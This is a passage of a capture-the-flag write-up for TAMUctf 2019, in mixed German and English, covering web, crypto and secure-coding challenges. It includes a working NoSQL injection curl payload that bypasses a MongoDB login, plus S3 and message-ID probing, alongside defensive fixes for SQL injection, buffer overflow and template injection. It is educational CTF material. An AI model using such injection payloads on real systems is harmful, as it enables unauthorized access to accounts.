2019-02-19 17:06:50      44982 Animals/cute-zoo-animals_1191-143.jpg
2019-02-19 17:06:50      12107 Animals/images.jpeg
2019-02-19 17:06:50       6828 Cats/cat.jpeg
2019-02-19 17:06:50      22810 Cats/cat.webp
2019-02-19 17:06:50       6407 Cats/cat3.jpeg
2019-02-19 17:06:51         28 Dogs/CC2B70BD238F48BE29D8F0D42B170127/CBD2DD691D3DB1EBF96B283BDC8FD9A1/flag.txt
2019-02-19 17:06:49       8120 Dogs/beaglepup.jpeg
2019-02-19 17:06:49        919 Dogs/pup.html
2019-02-19 17:06:49       6305 Dogs/puphalloween.jpeg
2019-02-19 17:06:49       7666 Dogs/pupnerd.jpeg
2019-02-19 17:06:49      17666 Dogs/pupnerd2.webp
2019-02-19 17:06:49     165653 Dogs/pups.jpg
2019-02-19 17:06:49     124222 doggos3.jpg
2019-02-19 17:06:49        632 index.html
```
Browse to `http://tamuctf.s3-website-us-west-2.amazonaws.com/Dogs/CC2B70BD238F48BE29D8F0D42B170127/CBD2DD691D3DB1EBF96B283BDC8FD9A1/flag.txt`
and receive:
`flag{W0W_S3_BAD_PERMISSIONS}`


### Many Gig'ems to you! [433 - SOLVED]

http://web7.tamuctf.com

The site's source code shows various "alt"-tags containing "gigem", e.g. "gigem{flag_in_}"

```html
<h1>So many Gigs!</h1>
<h3>Gigs and cookies for everyone!</h3>
<img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs">
<img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigem{flag_in_"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigsflaggigemflag"><img src="gigs.png" alt="flaggigs"><img src="gigs.png" alt="gige"><img src="gigs.png" alt="gigem{"><img src="gigs.png" alt="gigemgigemgigem"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="flagflagflag"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigemmm"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gig{"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigem"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gig"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs">
<img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigem{"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigsflaggigemflag"><img src="gigs.png" alt="flaggigs"><img src="gigs.png" alt="gige"><img src="gigs.png" alt="gigem{"><img src="gigs.png" alt="gigemgigemgigem"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="flagflagflag"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigemmm"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gig{"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigem"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs">
<img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigem{"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigsflaggigemflag"><img src="gigs.png" alt="flaggigs"><img src="gigs.png" alt="gige"><img src="gigs.png" alt="gigem{"><img src="gigs.png" alt="gigemgigemgigem"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="flagflagflag"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigemmm"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gig{"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigem"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs">
<img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigem{"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigsflaggigemflag"><img src="gigs.png" alt="flaggigs"><img src="gigs.png" alt="gige"><img src="gigs.png" alt="gigem{"><img src="gigs.png" alt="gigemgigemgigem"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="flagflagflag"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigemmm"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gig{"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigem"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs">
<img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigem{"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigsflaggigemflag"><img src="gigs.png" alt="flaggigs"><img src="gigs.png" alt="gige"><img src="gigs.png" alt="gigem{"><img src="gigs.png" alt="gigemgigemgigem"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="flagflagflag"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigemmm"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gig{"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigem"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs">
<img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigem{"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigsflaggigemflag"><img src="gigs.png" alt="flaggigs"><img src="gigs.png" alt="gige"><img src="gigs.png" alt="gigem{"><img src="gigs.png" alt="gigemgigemgigem"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="flagflagflag"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigemmm"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gig{"><img src="gigs.png" alt="gigs"><img src="gigs.png" alt="gigem">
```

außerdem cook.js javascript 

```js
document.cookie = "gigem_continue=cookies}; expires=Thu, 18 Dec 2020 12:00:00 UTC";
document.cookie = "hax0r=flagflagflagflagflagflag; expires=Thu, 18 Dec 2020 12:00:00 UTC";
document.cookie = "gigs=all_the_cookies; expires=Thu, 18 Dec 2020 12:00:00 UTC";
document.cookie = "cookie=flagcookiegigemflagcookie; expires=Thu, 18 Dec 2020 12:00:00 UTC";
```

Der reine alt-tex der `index.html` Datei sieht so aus:

```
gigs gigs gigs gigs gigs gigs gigs gigem{flag_in_ gigs gigs gigs gigs gigsflaggigemflag flaggigs gige gigem{ gigemgigemgigem gigs flagflagflag gigs gigs gigs gigs gigs gigs
   gigs gigs gigemmm gigs gig{ gigs gigem gigs gigs gigs gigs gigs gigs gigs gigem{ gigs gigs gigs gigs gigsflaggigemflag flaggigs gige gigem{ gigemgigemgigem gigs flagflagflag
   gigs gigs gigs gigs gigs gigs gigs gigs gigemmm gigs gig{ gigs gigem gigs gigs gigs gigs gigs gigs gigs gigem{ gigs gigs gigs gigs gigsflaggigemflag flaggigs gige gigem{
   gigemgigemgigem gigs flagflagflag gigs gigs gigs gigs gigs gigs gigs gigs gigemmm gigs gig{ gigs gigem gigs gigs gigs gigs gigs gigs gigs gigem{ gigs gigs gigs gigs
   gigsflaggigemflag flaggigs gige gigem{ gigemgigemgigem gigs flagflagflag gigs gigs gigs gigs gigs gigs gigs gigs gigemmm gigs gig{ gigs gigem gigs gigs gigs gigs gigs gigs
   gigs gigem{ gigs gigs gigs gigs gigsflaggigemflag flaggigs gige gigem{ gigemgigemgigem gigs flagflagflag gigs gigs gigs gigs gigs gigs gigs gigs gigemmm gigs gig{ gigs gigem
   gigs gigs gigs gigs gigs gigs gigs gigem{ gigs gigs gigs gigs gigsflaggigemflag flaggigs gige gigem{ gigemgigemgigem gigs flagflagflag gigs gigs gigs gigs gigs gigs gigs gigs
   gigemmm gigs gig{ gigs gigem
```

Der reine alt-tex der `cookies.html` Datei sieht so aus:

```
cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{
   gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{
   cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies gigem{continued == source_and_ cookie{ gigs gigem flag
   gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie
   cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie
   cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs
   gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{
   cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie
   cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies
   cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies
   gigem{_continued=source_and_ cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie
   cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs
   gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{
   cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie
   cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies
   cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag
   gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie
   cookie cookie cookie cookies gigem{_continued=source_and_ cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS
   c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie
   cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{
   gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{
   cookieS c00kie cookie cookie cookie cookies cookie{ gigs gigem flag gigem{ cookieS c00kie cookie cookie
```

Aus diesen alt-texten läst sich auf gut Glück das Cookie zusammenbauen: **gigem{flag_in_source_and_cookies}**

(Logik dahinter: Zuerst den *gigem{flag_in_* Text nehmen, Suchen in welchen Textteilen ein Underscore vorkommt, den Teil *source_and_* nur einmal nehmen und mit dem Text *cookies}* aus dem Cookie abschließen).

### Login App [477 - SOLVED]

    http://web4.tamuctf.com

    Difficulty: medium
    
Man sieht einen Login Dialog. Auf Gitlab findet man wieder den Source Code für die zugehörige *Secure Coding* Challenge: https://gitlab.tamuctf.com/root/loginapp. Im dortigen Readme sieht man auch, dass es sich um eine *NoSQL* Injection handelt, im Code sieht man den Verweis auf *MongoDB*. Mit Hilfe dieses [Blog Posts](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html) findet man leicht die passende Payload:

```bash
$curl -X POST -H "Content-Type: application/json" --data '{"username": "admin", "password": {"$gt": ""}}' http://web4.tamuctf.com/login
"Welcome: admin!\ngigem{n0_sql?_n0_pr0bl3m_8a8651c31f16f5dea}"%
```

### 1337 Secur1ty [487 - UNSOLVED]

    http://web6.tamuctf.com

    Difficulty: hard
    
AUf dem Link kommt man zu einer Loginseite mit 2FA bei der man sich registrieren kann.

Der Admin User heißt laut Userliste *1337-admin*.

Der Cookie den man bekommt sieht wie folgt aus:

    secret	KLYM3VWZW6CX4BTJ
    userid	1
    
Der Wert von `secret` ist dabei das TOTP Secret. Eine Veränderung der User ID führt zurrück zur Loginseite.

In der Nachrichtenansicht kann man die Message ID verändern. Das ergibt unter http://web6.tamuctf.com/message?id=1 die Nachricht

```
From: Bob (ScrubLord)
Date: 03/02/19
Time: 20:45
Message:
Please don't blow off the meeting today, we need to talk about the cookies.
```

Theorie: Irgendwie (z.B. Injection) das 2FA Secret des admins herausfinden, damit die Session kapern.

---

## Android

## Crypto

### -.- [468 - SOLVED]

flag.txt contains a morse code (dah-dah-di-dit,...) which is decoded to: 
```
0x57702A6C5874475138653871616D4D59552A737646486B6A49742A5251264A705A766A6D2125254B446B667023514139666B346455346C423372546F5430505A516D4351454B5942345A4D762A21466B386C25626A716C504D6649476D612525467A4720676967656D7B433169634B5F636C31434B2D7930755F683476335F6D3449317D20757634767A4B5A7434796F6D694453684C6D38514546615574774A4041754F596658263875404761213125547176305663527A56216A217675757038426A644149714535772324255634555A4F595A327A37543235743726784C40574F373431305149 
```
...which is converted to a text containing the flag:
```
Wp*lXtGQ8e8qamMYU*svFHkjIt*RQ&JpZvjm!%%KDkfp#QA9fk4dU4lB3rToT0PZQmCQEKYB4ZMv*!Fk8l%bjqlPMfIGma%%FzG gigem{C1icK_cl1CK-y0u_h4v3_m4I1} uv4vzKZt4yomiDShLm8QEFaUtwJ@AuOYfX&8u@Ga!1%Tqv0VcRzV!j!vuup8BjdAIqE5w#$%V4UZOYZ2z7T25t7&xL@WO7410QI
```
flag: gigem{C1icK_cl1CK-y0u_h4v3_m4I1}

### :) [499 - not solved yet]
```
XUBdTFdScw5XCVRGTgJXEpMSFpQE5AVVxJBRpLT1aYBpVwbCVZAT1WTBpaTkBQFVcSQdH
```

...base58 decoded results in:

```
09a8db2d2b4efb2170a51b7cf975acb2d6d59707ecca27f08feb8f219e354b799afb4ccd130fc78e93c60fe1d1012650275c0c
```

```bash
$ echo "XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH"|base64 -d |xxd
00000000: 5d40 5d4c 5752 730e 5709 5446 4e09 495c  ]@]LWRs.W.TFN.I\
00000010: 4a4c 485a 4e40 4e40 555c 4905 1a4b 4f5d  JLHZN@N@U\I..KO]
00000020: 1a60 1a48 5709 5b09 5640 4e5d 564c 1a5a  .`.HW.[.V@N]VL.Z
00000030: 4e40 4e40 555c 4907 47                   N@N@U\I.G
```

...new research showed that this challenge is linked to Emojis...

Found this tweet: https://www.iemoji.com/feed/myEmoji/1101949521590927361

....just don't know what to do with it...the unicode for the grinning face is: U+1F600 -> but it doesn't work as flag...



### RSAaaay [469 - SOLVED]


Hey, you're a hacker, right? I think I am too, look at what I made!

(2531257, 43)

My super secret message: 906851 991083 1780304 2380434 438490 356019 921472 822283 817856 556932 2102538 2501908 2211404 991083 1562919 38268

Problem is, I don't remember how to decrypt it... could you help me out?

Difficulty: easy

Assumption: n=2531257, e=43

Calculate private key with sage:

```
sage: factor(2531257)
509 * 4973
sage: n=2531257
sage: phi = euler_phi(n);phi
2525776
sage: e=43
sage: xgcd(e,phi)
(1, 58739, -1)
sage: d=58739
```

Decryption file: rsa.py

    n=2531257
    d=58739

    m = [906851, 991083, 1780304, 2380434, 438490, 356019, 921472, 822283, 817856, 556932,2102538, 2501908, 2211404, 991083, 1562919, 38268]     
    for i in m:
        a= pow(i,d,n)
        print(a)

output:
```
103
105103
101109
12383
97118
97103
10195
83105
12095
70108
121105
110103
9584
105103
101114
115125
```

All lines are a combination of 1-2 numbers with 2-3 digits, all within a readable ASCII character range. Separating the list manually into numbers and converting them to a string yield the flag:

```python
c = [103, 105, 103,101,109,123,83,97,118,97,103,101,95,83,105,120,95,70,108,121,105,110,103,95,84,105,103,101,114,115,125]
print (''.join(chr(i) for i in c))
```

Flag: **gigem{Savage_Six_Flying_Tigers}**

### Holey Knapsack
My knapsack has a hole in it

Cipher text: 11b90d6311b90ff90ce610c4123b10c40ce60dfa123610610ce60d450d000ce61061106110c4098515340d4512361534098509270e5d09850e58123610c9

Public key: {99, 1235, 865, 990, 5, 1443, 895, 1477}

The flag is slightly off format.

Difficulty: medium


https://en.wikipedia.org/wiki/Merkle%E2%80%93Hellman_knapsack_cryptosystem

Cipher binary: 1000110111001000011010110001100010001101110010000111111111001000011001110011000010000110001000001001000111011000100001100010000001100111001100000110111111010000100100011011000010000011000010000110011100110000011010100010100001101000000000000110011100110000100000110000100010000011000010001000011000100000010011000010100010101001101000000110101000101000100100011011000010101001101000000100110000101000010010010011100001110010111010000100110000101000011100101100000010010001101100001000011001001

Public key binary:
{1100011, 10011010011, 1101100001, 1111011110, 101, 10110100011, 1101111111, 10111000101}

public key pk = (pk_1, pk_2,....,pk_n)

...where pk_i = r*w_i mod q

secret key sk = (w, q, r)

...superincreasing sequence w = (w_1,..., w_n)

...random integer q (q > sum(w_i))

...random integer r (gcd(r,q)=1)

#### Encryption:

n-bit msg (plaintext) a = (a_1,...,a_n)

Cipher text c = sum(a_i, pk_i)




### Mike's Marvelous Mystery Curves [497 - Unsolved]

```
Mike, the System Administrator, thought it would be a good idea to implement his own Elliptic Curve Diffie Hellman key exchange using unnamed curves to use across the network. We managed to capture network traffic of the key exchange along with an encrypted file transfer. See if you can read the contents of that file.

Note: The password to the AES192-CBC encrypted file is the shared key x and y coordinates from the key exchange concatenated together. (e.g. sharedKey = (12345,67890) password = "1234567890")

Difficulty: hard
```

Im capture (Paket 4) findet sich folgendes Zertifikat (merkwürdigerweise der Text PEm kodiert):

```
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            b9:59:da:c4:d7:3f:bc:31
    Signature Algorithm: base64
        Issuer: C = US, ST = Texas, L = College Station, O = Texas A&M University, OU = tamuCTF, CN = Alice, emailAddress = alice@tamuctf.edu
        Validity
            Not Before: Oct  9 13:08:12 2018 GMT
            Not After : Nov  8 13:08:12 2018 GMT
        Subject: C = US, ST = Texas, L = College Station, O = Texas A&M University, OU = tamuCTF, CN = Alice, emailAddress = alice@tamuctf.edu
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key:
                    61801292647
                    228288385004
                ASN1 OID: badPrime96v4
                CURVE: JustNo
                    Field Type: prime-field
                    Prime:
                        412220184797
                    A:   
                        10717230661382162362098424417014722231813
                    B:   
                        22043581253918959176184702399480186312
                    Generator:
                        56797798272
                        349018778637
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                F0:4E:BF:87:92:16:9B:D6:53:DA:CC:6D:AB:22:0E:40:25:41:C5:CC
            X509v3 Authority Key Identifier: 
                keyid:F0:4E:BF:87:92:16:9B:D6:53:DA:CC:6D:AB:22:0E:40:25:41:C5:CC

            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: ecdsa-with-SHA256
         30:46:02:21:00:cc:3c:84:eb:19:73:e1:62:7f:81:78:99:c6:
         26:b8:86:9e:61:7e:82:87:f1:85:5c:75:e1:2d:60:37:55:b6:
         09:02:21:00:85:33:af:dc:34:0f:e5:13:8e:26:88:06:a3:13:
         d1:a2:ed:d5:04:cb:9c:50:d1:c4:a4:4d:42:92:bd:69:56:1a
```

In Paket 11 findet sich ein weiteres Zertifikat:

```
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            a8:49:ac:8c:84:0f:84:ce
    Signature Algorithm: ecdsa-with-SHA256
        Issuer: C = US, ST = Texas, L = College Station, O = Texas A&M University, OU = tamuCTF, CN = Bob, emailAddress = bob@tamuctf.edu
        Validity
            Not Before: Oct  9 13:15:35 2018 GMT
            Not After : Nov  8 13:15:35 2018 GMT
        Subject: C = US, ST = Texas, L = College Station, O = Texas A&M University, OU = tamuCTF, CN = Bob, emailAddress = bob@tamuctf.edu
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key:
                    196393473219
                    35161195210
                ASN1 OID: badPrime96v4
                CURVE: JustNo
                    Field Type: prime-field
                    Prime:
                        412220184797
                    A:   
                        10717230661382162362098424417014722231813
                    B:   
                        22043581253918959176184702399480186312
                    Generator:
                        56797798272
                        349018778637
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                84:25:43:45:2C:0C:7E:1C:85:BC:E9:AF:44:BE:42:A1:84:D6:D2:27
            X509v3 Authority Key Identifier: 
                keyid:84:25:43:45:2C:0C:7E:1C:85:BC:E9:AF:44:BE:42:A1:84:D6:D2:27

            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: ecdsa-with-SHA256
         30:46:02:21:00:d4:45:84:18:e3:06:8d:bb:3b:e9:4d:68:a9:
         56:f4:af:e0:28:23:26:7d:4d:1e:84:2b:e8:c4:d3:ac:85:a9:
         c8:02:21:00:e9:ef:bc:0d:fa:3a:85:c4:39:1a:16:3b:6a:c0:
         6a:3f:ac:f2:7a:5f:49:ea:86:e4:18:5e:ac:91:75:31:b3:5b
```

Beide Zeritifkate verwenden die selbe Kurve.

ECDH aus den Keys der beiden Zertifikate mit SageMath berechnen

```
sage: F = Zmod(412220184797)
sage: E = EllipticCurve(F, [10717230661382162362098424417014722231813,22043581253918959176184702399480186312])
sage: P=E([196393473219,35161195210])
sage: Q=E([61801292647,228288385004])
sage: G=E([56797798272,349018778637])
sage: p = discrete_log(P,G,operation='+');p
6895697291
sage: q = discrete_log(Q,G, operation='+');q
54628069049
K = p*Q;K
(130222573707 : 242246159397 : 1)
sage: q*P
(130222573707 : 242246159397 : 1)

```

Daraus würde sich das Passwort `130222573707242246159397` ergeben.



Wenn man die Daten der 9 Pakete die welche haben als `p1.bin` - `p9.bin` speichert funktioniert ein decrypt leider nicht:

```
$ for i in {1..9};do openssl aes-192-cbc -d -in p$i.bin -k 130222573707242246159397 -v;done
bufsize=8192
bad magic number
bufsize=8192
bad magic number
bufsize=8192
bad magic number
bufsize=8192
bad magic number
bufsize=8192
bad magic number
bufsize=8192
bad magic number
bufsize=8192
bad magic number
bufsize=8192
bad magic number
bufsize=8192
bad magic number

$ for i in {1..9};do openssl aes-192-cbc -d -in p$i.bin -k 130222573707242246159397 -v -p -nosalt|grep gigem;done
bufsize=8192
bad decrypt
140291343569344:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:536:
bufsize=8192
bad decrypt
140565353791936:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:../crypto/evp/evp_enc.c:525:
bufsize=8192
bad decrypt
140399084589504:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:../crypto/evp/evp_enc.c:525:
bufsize=8192
bad decrypt
140037351719360:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:../crypto/evp/evp_enc.c:525:
bufsize=8192
bad decrypt
139640975135168:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:../crypto/evp/evp_enc.c:525:
bufsize=8192
bad decrypt
140530847093184:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:../crypto/evp/evp_enc.c:525:
bufsize=8192
bad decrypt
140559587226048:error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length:../crypto/evp/evp_enc.c:525:
bufsize=8192
bad decrypt
140455690817984:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:536:
bufsize=8192
bad decrypt
140600392790464:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:../crypto/evp/evp_enc.c:536:
```

Auch Kombinationen der Switches `-nopad` und `-md md5/sha1/sha256` waren nicht erfolgreicher




---

## Secure Coding

### SQL [486 - SOLVED]

https://gitlab.tamuctf.com/root/sql

The Repo linked contains the following README:

```
Now that you have broken the SQL Injection challenge it's your turn to fix it!

To solve this challenge you must first fork the challenge and then modify the files in this repository and attempt to fix the vulnerability that you found.
Everytime you make a commit your files are tested on the backend system. The results can be found under CI/CD->Jobs and then the last test ran.
If you pass all of the tests the flag will be printed at the bottom of the CI/CD display. Otherwise you will either get an error or statement saying what happened.
```

The code is for the [SQL injection challenge](#Not-Another-SQLi-Challenge-272-solved).

You just need to escape the username and password inputs.

Change

```php
$user = $_POST['username'];
$pass = $_POST['password'];
```

to

```php
$user = $conn->real_escape_string($_POST['username']);
$pass = $conn->real_escape_string($_POST['password']);
```

The flag is then printed in the CI job output: **gigem{the_best_damn_sql_anywhere}**

### PWN [433 - SOLVED]

    https://gitlab.tamuctf.com/root/pwn

    Difficulty: easy
    
README from the Repo

```
Now that you have broken a PWN challenge it's your turn to fix it!
To solve this challenge you must first fork the challenge and then modify the files in this repository and attempt to fix the vulnerability that you found.
Everytime you make a commit your files are tested on the backend system. The results can be found under CI/CD->Jobs and then the last test ran.
If you pass all of the tests the flag will be printed at the bottom of the CI/CD display. Otherwise you will either get an error or statement saying what happened.
```

The Repo contained the following C file:

```C
#include <stdio.h>
#include <stdlib.h>

void echo()
{
	printf("%s", "Enter a word to be echoed:\n");
	char buf[128];
	gets(buf);
	printf("%s\n", buf);
}

int main()
{
	echo();
}
```

To fix the buffer overflow vulnerability, just replace the `gets` line with

    fgets(buf, sizeof(buf), stdin);
    
Committing and pushing reveals the flag **gigem{check_that_buffer_size_baby}**.

### Science [463 - SOLVED]

    https://gitlab.tamuctf.com/root/science
    
Fix the Flask code from the [Science challenge](#Science-341---SOLVED).

You need to include the user inputs using templating functions instead of a normal python format string. The fixed `science()` function looks as follows:

```python
def science():
    try:
        chem1 = request.form['chem1']
        chem2 = request.form['chem2']
        template = '''<html>
        <div style="text-align:center">
        <h3>The result of combining {{ chem1 }} and {{ chem2 }} is:</h3></br>
        <iframe src="https://giphy.com/embed/AQ2tIhLp4cBa" width="468" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe></div>
        </html>'''

        return render_template_string(template, dir=dir, help=help, locals=locals, chem1=chem1, chem2=chem2)
```

The CI then reveals the flag: **gigem{br0k3n_fl4sk_2d88bb862569}**

### Login App 2

Schwachstelle aus der [Login App Challenge](#Login-App-477---SOLVED) fixen.

Source Code unter https://gitlab.tamuctf.com/Tinfoil_Hats/loginapp

In der Datei `server.js` muss eine sanitize Funktion eingebaut werden. ([Quelle](https://zanon.io/posts/nosql-injection-in-mongodb), das Paket *mongo-sanitize* kann leider nicht direkt importiert werden, darum muss der Code [der Funktion](https://github.com/vkarpov15/mongo-sanitize/blob/master/index.js) direkt integriert werden):

```javascript
[...]
 
sanitize = function(v) {
